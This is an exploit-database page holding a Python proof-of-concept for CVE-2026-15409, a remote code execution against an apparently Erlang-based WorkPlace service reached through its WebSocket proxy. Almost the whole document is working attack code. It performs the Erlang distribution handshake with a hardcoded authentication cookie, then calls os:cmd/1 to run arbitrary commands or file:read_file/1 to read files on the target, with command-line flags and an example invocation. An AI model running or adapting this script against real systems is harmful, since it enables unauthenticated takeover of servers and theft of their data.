Exploit database

GH-b0fe769b94bff6412922be3351d03f52

ch4120n/cve-2026-15409

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-15409

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
ch4120n/cve-2026-15409Revision 8706e3bbf4b1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2026-15409.py

Python · 25,631 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#  ____  _____  _    _  ____  ____  ____  ____     ____  _  _     ___  _   _  __  __  ___   ___  _  _ 
# (  _ \(  _  )( \/\/ )( ___)(  _ \( ___)(  _ \   (  _ \( \/ )   / __)( )_( )/. |/  )(__ \ / _ \( \( )
#  )___/ )(_)(  )    (  )__)  )   / )__)  )(_) )   ) _ < \  /   ( (__  ) _ ((_  _))(  / _/( (_) ))  ( 
# (__)  (_____)(__/\__)(____)(_)\_)(____)(____/   (____/ (__)    \___)(_) (_) (_)(__)(____)\___/(_)\_)

"""
CVE-2026-15409 - Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
Description: This script exploits a vulnerability in the WorkPlace service
             (typically on port 443) that allows unauthenticated Erlang distribution
             over WebSocket. It can execute arbitrary OS commands on the target.

             Exploitation steps:
             1. Establish a WebSocket connection to the proxy endpoint.
             2. Perform the Erlang distribution handshake (using a hardcoded cookie).
             3. Send an RPC call to `os:cmd/1` to execute a command.
             4. Receive and decode the response.

             Tested against ex_sra_vm_12.5.0-02002.ova with June 2026 hotfix.
"""

import argparse
import base64
import getpass
import hashlib
import os
import secrets
import socket
import ssl
import struct
import sys
import traceback
from dataclasses import dataclass
from typing import Optional, Tuple, Union, Any

# Attempt to import websockets; provide a clear error if missing
try:
    from websockets.sync.client import connect as websocket_connect
except ImportError:
    print("[-] Error: 'websockets' library is required. Install with: pip install websockets")
    sys.exit(1)

# OTP 25 mandatory distribution flags (from Erlang's dist_util)
DFLAG_EXTENDED_REFERENCES = 0x00000004
DFLAG_FUN_TAGS = 0x00000010
DFLAG_NEW_FUN_TAGS = 0x00000080
DFLAG_EXTENDED_PIDS_PORTS = 0x00000100
DFLAG_EXPORT_PTR_TAG = 0x00000200
DFLAG_BIT_BINARIES = 0x00000400
DFLAG_NEW_FLOATS = 0x00000800
DFLAG_UTF8_ATOMS = 0x00010000
DFLAG_MAP_TAG = 0x00020000
DFLAG_BIG_CREATION = 0x00040000
DFLAG_HANDSHAKE_23 = 0x01000000

DIST_FLAGS = (
    DFLAG_EXTENDED_REFERENCES
    | DFLAG_FUN_TAGS
    | DFLAG_NEW_FUN_TAGS
    | DFLAG_EXTENDED_PIDS_PORTS
    | DFLAG_EXPORT_PTR_TAG
    | DFLAG_BIT_BINARIES
    | DFLAG_NEW_FLOATS
    | DFLAG_UTF8_ATOMS
    | DFLAG_MAP_TAG
    | DFLAG_BIG_CREATION
    | DFLAG_HANDSHAKE_23
)

# External Term Format (ETF) tags
ETF_VERSION = 131
SMALL_INTEGER_EXT = 97
INTEGER_EXT = 98
ATOM_EXT = 100
REFERENCE_EXT = 101
PID_EXT = 103
SMALL_TUPLE_EXT = 104
NEW_PID_EXT = 88
NEWER_REFERENCE_EXT = 90
NIL_EXT = 106
STRING_EXT = 107
LIST_EXT = 108
BINARY_EXT = 109
ATOM_UTF8_EXT = 118
SMALL_ATOM_UTF8_EXT = 119

class ExploitError(Exception):
    """Base exception for exploit-related errors."""
    pass


class ProtocolError(ExploitError):
    """Raised when the Erlang distribution protocol fails."""
    pass


class ETFDecodeError(ExploitError):
    """Raised when ETF decoding fails."""
    pass

def log_info(msg: str) -> None:
    """Print an informational message with [*]."""
    print(f"[ * ] {msg}")


def log_success(msg: str) -> None:
    """Print a success message with [+]."""
    print(f"[ + ] {msg}")


def log_warning(msg: str) -> None:
    """Print a warning message with [!]."""
    print(f"[ ! ] {msg}")


def log_error(msg: str) -> None:
    """Print an error message with [-], then exit."""
    print(f"[ - ] {msg}")
    sys.exit(1)

def print_banner() -> None:
    """Display the ASCII art banner."""
    print(r"""
  ░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
  ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
  ░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
                    [CVE-2026-15409]
         Erlang Distribution RCE via WebSocket Proxy
                     Owner: Ch4120N
    """)


@dataclass(frozen=True)
class Pid:
    """Represents an Erlang PID (process identifier)."""
    node: str
    ident: int
    serial: int
    creation: int


@dataclass(frozen=True)
class Reference:
    """Represents an Erlang reference."""
    node: str
    ident: int
    creation: int


def etf_atom(value: str) -> bytes:
    """Encode a string as an Erlang atom (UTF-8)."""
    data = value.encode('utf-8')
    if len(data) <= 255:
        return bytes([SMALL_ATOM_UTF8_EXT, len(data)]) + data
    return bytes([ATOM_UTF8_EXT]) + struct.pack('>H', len(data)) + data


def etf_small_int(value: int) -> bytes:
    """Encode a small integer (0-255) as ETF."""
    if not 0 <= value <= 255:
        raise ValueError("small integer out of range")
    return bytes([SMALL_INTEGER_EXT, value])


def etf_int(value: int) -> bytes:
    """Encode a 32-bit integer as ETF."""
    return bytes([INTEGER_EXT]) + struct.pack('>i', value)


def etf_nil() -> bytes:
    """Encode an empty list (nil)."""
    return bytes([NIL_EXT])


def etf_string(value: str) -> bytes:
    """Encode a string as a list of integers (STRING_EXT)."""
    data = value.encode('latin-1')  # STRING_EXT expects latin-1
    return bytes([STRING_EXT]) + struct.pack('>H', len(data)) + data


def etf_binary(value: Union[str, bytes]) -> bytes:
    """Encode binary data as ETF binary."""
    if isinstance(value, str):
        value = value.encode('utf-8')
    return bytes([BINARY_EXT]) + struct.pack('>I', len(value)) + value


def etf_tuple(*items: bytes) -> bytes:
    """Encode a tuple of ETF-encoded items (arity <= 255)."""
    if len(items) > 255:
        raise ValueError("tuple arity too large for SMALL_TUPLE_EXT")
    return bytes([SMALL_TUPLE_EXT, len(items)]) + b''.join(items)


def etf_list(items: list) -> bytes:
    """Encode a list of ETF-encoded items."""
    return bytes([LIST_EXT]) + struct.pack('>I', len(items)) + b''.join(items) + etf_nil()


def etf_pid(pid: Pid) -> bytes:
    """Encode a PID (old-style)."""
    return (
        bytes([PID_EXT])
        + etf_atom(pid.node)
        + struct.pack('>II', pid.ident, pid.serial)
        + bytes([pid.creation])
    )


def etf_reference(ref: Reference) -> bytes:
    """Encode a reference (old-style)."""
    return (
        bytes([REFERENCE_EXT])
        + etf_atom(ref.node)
        + struct.pack('>I', ref.ident)
        + bytes([ref.creation])
    )


def decode_etf(data: bytes, offset: int = 0) -> Tuple[Any, int]:
    """
    Decode an Erlang external term from `data` starting at `offset`.
    Returns a tuple (decoded_value, new_offset).
    Raises ETFDecodeError on unsupported tags.
    """
    if offset >= len(data):
        raise ETFDecodeError("Unexpected end of data while decoding ETF")
    tag = data[offset]
    offset += 1

    if tag == ETF_VERSION:
        return decode_etf(data, offset)

    if tag == SMALL_INTEGER_EXT:
        return data[offset], offset + 1

    if tag == INTEGER_EXT:
        return struct.unpack('>i', data[offset:offset + 4])[0], offset + 4

    if tag in (ATOM_EXT, ATOM_UTF8_EXT):
        length = struct.unpack('>H', data[offset:offset + 2])[0]
        offset += 2
        return data[offset:offset + length].decode('utf-8', errors='replace'), offset + length

    if tag == SMALL_ATOM_UTF8_EXT:
        length = data[offset]
        offset += 1
        return data[offset:offset + length].decode('utf-8', errors='replace'), offset + length

    if tag == STRING_EXT:
        length = struct.unpack('>H', data[offset:offset + 2])[0]
        offset += 2
        return data[offset:offset + length].decode('latin-1'), offset + length

    if tag == BINARY_EXT:
        length = struct.unpack('>I', data[offset:offset + 4])[0]
        offset += 4
        return data[offset:offset + length], offset + length

    if tag == NIL_EXT:
        return [], offset

    if tag == SMALL_TUPLE_EXT:
        arity = data[offset]
        offset += 1
        values = []
        for _ in range(arity):
            value, offset = decode_etf(data, offset)
            values.append(value)
        return tuple(values), offset

    if tag == LIST_EXT:
        length = struct.unpack('>I', data[offset:offset + 4])[0]
        offset += 4
        values = []
        for _ in range(length):
            value, offset = decode_etf(data, offset)
            values.append(value)
        tail, offset = decode_etf(data, offset)
        if tail != []:
            # Improper list tail (should be nil); we store it as a special entry
            values.append(('tail', tail))
        return values, offset

    if tag == PID_EXT:
        node, offset = decode_etf(data, offset)
        ident, serial = struct.unpack('>II', data[offset:offset + 8])
        offset += 8
        creation = data[offset]
        return Pid(node, ident, serial, creation), offset + 1

    if tag == NEW_PID_EXT:
        node, offset = decode_etf(data, offset)
        ident, serial, creation = struct.unpack('>III', data[offset:offset + 12])
        return Pid(node, ident, serial, creation), offset + 12

    if tag == REFERENCE_EXT:
        node, offset = decode_etf(data, offset)
        ident = struct.unpack('>I', data[offset:offset + 4])[0]
        offset += 4
        creation = data[offset]
        return Reference(node, ident, creation), offset + 1

    if tag == NEWER_REFERENCE_EXT:
        length = struct.unpack('>H', data[offset:offset + 2])[0]
        offset += 2
        node, offset = decode_etf(data, offset)
        creation = struct.unpack('>I', data[offset:offset + 4])[0]
        offset += 4
        ids = []
        for _ in range(length):
            ids.append(struct.unpack('>I', data[offset:offset + 4])[0])
            offset += 4
        return ('reference', node, creation, tuple(ids)), offset

    raise ETFDecodeError(f"Unsupported ETF tag: {tag} (0x{tag:02x})")


class WebSocketTransport:
    """
    Wraps a WebSocket connection to provide a socket-like interface.
    Messages are base64-encoded per the WorkPlace proxy requirements.
    """

    SMA_READY_FRAME = b"\x0b\x00\x00\x00\x00"  # sent by the proxy upon connection

    def __init__(self, url: str, origin: Optional[str] = None,
                 user_agent: Optional[str] = None, insecure_tls: bool = False):
        """
        Establish a WebSocket connection to `url`.
        :param url: WebSocket URL (e.g., wss://target/wsproxy?bmID=...)
        :param origin: Optional Origin header.
        :param user_agent: Optional User-Agent header.
        :param insecure_tls: If True, disable TLS certificate verification.
        """
        additional_headers = {}
        if user_agent:
            additional_headers["User-Agent"] = user_agent
        ssl_context = None
        if insecure_tls:
            ssl_context = ssl._create_unverified_context()
            log_warning("TLS certificate verification disabled")

        self._ws = websocket_connect(
            url,
            origin=origin,
            additional_headers=additional_headers or None,
            subprotocols=["binary"],
            compression=None,
            max_size=None,
            ping_interval=None,
            ssl=ssl_context,
            user_agent_header=None,
        )
        self._recv_buffer = bytearray()
        self._consume_ready_frame()

    def _coerce_message(self, message: Union[str, bytes]) -> bytes:
        """Convert a WebSocket message to bytes."""
        if isinstance(message, str):
            return message.encode()
        if isinstance(message, bytes):
            return message
        raise TypeError(f"Unexpected WebSocket message type: {type(message)!r}")

    def _consume_ready_frame(self) -> None:
        """
        Consume the initial SMA_READY_FRAME sent by the proxy.
        If not received, buffer it for later.
        """
        try:
            message = self._ws.recv(timeout=1)
        except TimeoutError:
            return
        if message is None:
            return
        data = self._coerce_message(message)
        if data != self.SMA_READY_FRAME:
            self._recv_buffer.extend(data)

    def sendall(self, data: bytes) -> None:
        """Send raw binary data, base64-encoded over WebSocket."""
        self._ws.send(base64.b64encode(data).decode('ascii'))

    def recv(self, size: int) -> bytes:
        """
        Receive exactly `size` bytes, buffering from WebSocket messages as needed.
        """
        while len(self._recv_buffer) < size:
            message = self._ws.recv()
            if message is None:
                break
            self._recv_buffer.extend(self._coerce_message(message))
        data = bytes(self._recv_buffer[:size])
        del self._recv_buffer[:size]
        return data

    def close(self) -> None:
        """Close the WebSocket connection."""
        self._ws.close()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.close()


def open_transport(host: str, port: int, ws_url: Optional[str] = None,
                   ws_origin: Optional[str] = None,
                   ws_user_agent: Optional[str] = None,
                   ws_insecure_tls: bool = False) -> Union[socket.socket, WebSocketTransport]:
    """
    Open either a plain TCP socket or a WebSocket transport based on arguments.
    """
    if ws_url:
        log_info(f"Connecting via WebSocket to {ws_url}")
        return WebSocketTransport(ws_url, origin=ws_origin,
                                  user_agent=ws_user_agent,
                                  insecure_tls=ws_insecure_tls)
    else:
        log_info(f"Connecting via TCP to {host}:{port}")
        return socket.create_connection((host, port), timeout=5)

def recv_exact(sock: Union[socket.socket, WebSocketTransport], size: int) -> bytes:
    """Read exactly `size` bytes from the socket."""
    buf = bytearray()
    while len(buf) < size:
        chunk = sock.recv(size - len(buf))
        if not chunk:
            raise ConnectionError("Peer closed connection")
        buf.extend(chunk)
    return bytes(buf)


def send_handshake_packet(sock: Union[socket.socket, WebSocketTransport], payload: bytes) -> None:
    """Send a handshake packet (2-byte length prefix)."""
    sock.sendall(struct.pack('>H', len(payload)) + payload)


def recv_handshake_packet(sock: Union[socket.socket, WebSocketTransport]) -> bytes:
    """Receive a handshake packet (2-byte length prefix)."""
    size = struct.unpack('>H', recv_exact(sock, 2))[0]
    return recv_exact(sock, size)


def send_dist_packet(sock: Union[socket.socket, WebSocketTransport], payload: bytes) -> None:
    """Send a distribution packet (4-byte length prefix)."""
    sock.sendall(struct.pack('>I', len(payload)) + payload)


def recv_dist_packet(sock: Union[socket.socket, WebSocketTransport]) -> bytes:
    """Receive a distribution packet (4-byte length prefix)."""
    size = struct.unpack('>I', recv_exact(sock, 4))[0]
    if size == 0:
        return b""
    return recv_exact(sock, size)


def erl_digest(cookie: str, challenge: int) -> bytes:
    """
    Compute the MD5 digest used in the handshake:
    md5(atom_to_list(Cookie) ++ integer_to_list(Challenge)).
    """
    return hashlib.md5((cookie + str(challenge)).encode()).digest()


def parse_challenge(payload: bytes) -> Tuple[int, int, int, str]:
    """
    Parse the challenge packet from the peer.
    Returns (flags, challenge, creation, node_name).
    Supports both old (n) and new (N) style.
    """
    if payload[:1] == b'N':
        if len(payload) < 19:
            raise ProtocolError("Short new-style challenge packet")
        flags, challenge, creation, name_len = struct.unpack('>QIIH', payload[1:19])
        name = payload[19:19 + name_len].decode('utf-8', errors='replace')
        return flags, challenge, creation, name
    elif payload[:1] == b'n':
        if len(payload) < 11:
            raise ProtocolError("Short old-style challenge packet")
        version, flags, challenge = struct.unpack('>HII', payload[1:11])
        name = payload[11:].decode('utf-8', errors='replace')
        return flags, challenge, 0, name
    else:
        raise ProtocolError(f"Unexpected challenge packet tag: {payload[:1]!r}")


def rpc_call(sock: Union[socket.socket, WebSocketTransport],
             node_name: str,
             module: str,
             function: str,
             args: list) -> Any:
    """
    Perform an RPC call over the established distribution channel.
    Returns the decoded result of the call.
    """
    # Build a sender PID (arbitrary, but must be valid)
    sender_pid = Pid(node=node_name, ident=1, serial=0, creation=0)

    # Request term: {Pid, {call, Module, Function, Args, User}}
    request = etf_tuple(
        etf_pid(sender_pid),
        etf_tuple(
            etf_atom('call'),
            etf_atom(module),
            etf_atom(function),
            etf_list(args),
            etf_atom('user'),
        ),
    )

    # Control term: {6, Pid, nocookie, rex}
    control = etf_tuple(
        etf_small_int(6),
        etf_pid(sender_pid),
        etf_atom('nocookie'),
        etf_atom('rex'),
    )

    # Distribution packet: version byte (112) + ETF_VERSION + control + ETF_VERSION + request
    dist_packet = bytes([112, ETF_VERSION]) + control + bytes([ETF_VERSION]) + request
    send_dist_packet(sock, dist_packet)

    # Wait for the response
    while True:
        packet = recv_dist_packet(sock)
        if not packet:
            continue
        if packet[0] != 112:
            raise ProtocolError(f"Unexpected distribution packet type: {packet[0]}")

        control_term, offset = decode_etf(packet, 1)
        message_term, _ = decode_etf(packet, offset)

        # Expect control = {2, ...} and message = {rex, Result}
        if (
            isinstance(control_term, tuple)
            and control_term
            and control_term[0] == 2
            and isinstance(message_term, tuple)
            and len(message_term) == 2
            and message_term[0] == 'rex'
        ):
            return message_term[1]
        # Otherwise, ignore and continue (could be other messages like 'nodedown')


def connect(host: str, port: int, cookie: str, node_name: str,
            rpc: Optional[Tuple[str, str, list]] = None,
            ws_url: Optional[str] = None,
            ws_origin: Optional[str] = None,
            ws_user_agent: Optional[str] = None,
            ws_insecure_tls: bool = False) -> Tuple[str, int, int, Any]:
    """
    Perform the Erlang distribution handshake and optionally execute an RPC.

    :param host: TCP host (ignored if ws_url is provided)
    :param port: TCP port (ignored if ws_url is provided)
    :param cookie: Erlang distribution cookie
    :param node_name: Local node name (e.g., '[email protected]')
    :param rpc: Optional tuple (module, function, args_list) to call after auth.
    :param ws_url: WebSocket URL (if using WebSocket transport)
    :param ws_origin: Origin header for WebSocket
    :param ws_user_agent: User-Agent header for WebSocket
    :param ws_insecure_tls: Disable TLS verification
    :return: (peer_name, peer_flags, peer_creation, rpc_result)
    """
    node_name_bytes = node_name.encode()
    my_creation = 0

    with open_transport(host, port, ws_url, ws_origin, ws_user_agent, ws_insecure_tls) as sock:
        # Send our name packet (new style with flags)
        name_packet = (
            b'N'
            + struct.pack('>QIH', DIST_FLAGS, my_creation, len(node_name_bytes))
            + node_name_bytes
        )
        send_handshake_packet(sock, name_packet)

        # Receive status (should be "sok" or "sok_simultaneous")
        status = recv_handshake_packet(sock)
        if not status.startswith(b's'):
            raise ProtocolError(f"Unexpected status packet: {status!r}")

        status_text = status[1:].decode('utf-8', errors='replace')
        if status_text not in ('ok', 'ok_simultaneous'):
            raise ProtocolError(f"Connection rejected: {status_text}")

        # Receive challenge
        challenge_packet = recv_handshake_packet(sock)
        peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(challenge_packet)

        # Generate our challenge and reply
        my_challenge = secrets.randbits(32)
        reply = b'r' + struct.pack('>I', my_challenge) + erl_digest(cookie, peer_challenge)
        send_handshake_packet(sock, reply)

        # Receive and verify ack
        ack = recv_handshake_packet(sock)
        if ack[:1] != b'a':
            raise ProtocolError(f"Unexpected ack packet: {ack!r}")

        if ack[1:] != erl_digest(cookie, my_challenge):
            raise ProtocolError("Cookie authentication failed")

        log_success(f"Authenticated to {peer_name}")

        # Execute RPC if provided
        rpc_result = None
        if rpc is not None:
            module, function, args = rpc
            log_info(f"Calling {module}:{function}/1 ...")
            try:
                rpc_result = rpc_call(sock, node_name, module, function, args)
                log_success("RPC call completed")
            except Exception as e:
                log_error(f"RPC call failed: {e}")

        return peer_name, peer_flags, peer_creation, rpc_result

def format_term(value: Any) -> str:
    """
    Pretty-print an Erlang term (for display).
    """
    if isinstance(value, bytes):
        # Try to decode as UTF-8, fallback to repr
        try:
            return value.decode('utf-8')
        except UnicodeDecodeError:
            return repr(value)
    if isinstance(value, tuple):
        return "{" + ", ".join(format_term(item) for item in value) + "}"
    if isinstance(value, list):
        return "[" + ", ".join(format_term(item) for item in value) + "]"
    if isinstance(value, (Pid, Reference)):
        return repr(value)
    return str(value)

def main() -> None:
    """Parse arguments and run the exploit."""
    print_banner()

    parser = argparse.ArgumentParser(
        description="CVE-2026-15409 - Erlang Distribution RCE via WebSocket Proxy",
        epilog="Example: %(prog)s --ws-url 'wss://target/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --exec 'id'"
    )
    parser.add_argument("--host", default="127.0.0.1",
                        help="Target host (used if --ws-url not set)")
    parser.add_argument("--port", type=int, default=1050,
                        help="Target port (used if --ws-url not set)")
    parser.add_argument("--cookie", default="10ecad5b446e86864832904cd439b6b70262",
                        help="Erlang distribution cookie (default: hardcoded for target)")
    parser.add_argument("--name", default=f"py_{os.getpid()}@127.0.0.1",
                        help="Local node name")
    parser.add_argument("--ws-url",
                        help="WebSocket URL (e.g., wss://target/wsproxy?bmID=...). If set, --host/--port are ignored.")
    parser.add_argument("--ws-origin",
                        help="Origin header for WebSocket")
    parser.add_argument("--ws-user-agent", default="SMA Connect Agent",
                        help="User-Agent header for WebSocket")
    parser.add_argument("--ws-insecure-tls", action="store_true",
                        help="Disable TLS certificate verification")
    parser.add_argument("--rpc", action="store_true",
                        help="Call erlang:node/0 after authentication (test only)")
    parser.add_argument("--read-file",
                        help="Read a file from the target using file:read_file/1")
    parser.add_argument("--exec", dest="exec_command",
                        help="Execute a system command using os:cmd/1")
    args = parser.parse_args()

    # Determine RPC to execute
    rpc = None
    if args.exec_command:
        log_info(f"Preparing RPC: os:cmd('{args.exec_command}')")
        rpc = ("os", "cmd", [etf_string(args.exec_command)])
    elif args.read_file:
        log_info(f"Preparing RPC: file:read_file('{args.read_file}')")
        rpc = ("file", "read_file", [etf_string(args.read_file)])
    elif args.rpc:
        log_info("Preparing RPC: erlang:node/0")
        rpc = ("erlang", "node", [])
    else:
        log_warning("No RPC specified; only authentication will be performed.")

    # Use provided cookie or prompt
    cookie = args.cookie
    if not cookie:
        cookie = getpass.getpass("Erlang cookie: ")

    try:
        peer_name, peer_flags, peer_creation, rpc_result = connect(
            args.host,
            args.port,
            cookie,
            args.name,
            rpc=rpc,
            ws_url=args.ws_url,
            ws_origin=args.ws_origin,
            ws_user_agent=args.ws_user_agent,
            ws_insecure_tls=args.ws_insecure_tls,
        )

        # Display results
        log_info(f"Peer name: {peer_name}")
        log_info(f"Peer flags: 0x{peer_flags:x}")
        log_info(f"Peer creation: {peer_creation}")

        if args.exec_command:
            log_success(f"Command output:\n{format_term(rpc_result)}")
        elif args.read_file:
            log_success(f"File content:\n{format_term(rpc_result)}")
        elif args.rpc:
            log_success(f"erlang:node/0 => {rpc_result}")

    except KeyboardInterrupt:
        log_warning("Interrupted by user")
        sys.exit(130)
    except Exception as e:
        log_error(f"Exploit failed: {e}\n{traceback.format_exc()}")


if __name__ == "__main__":
    main()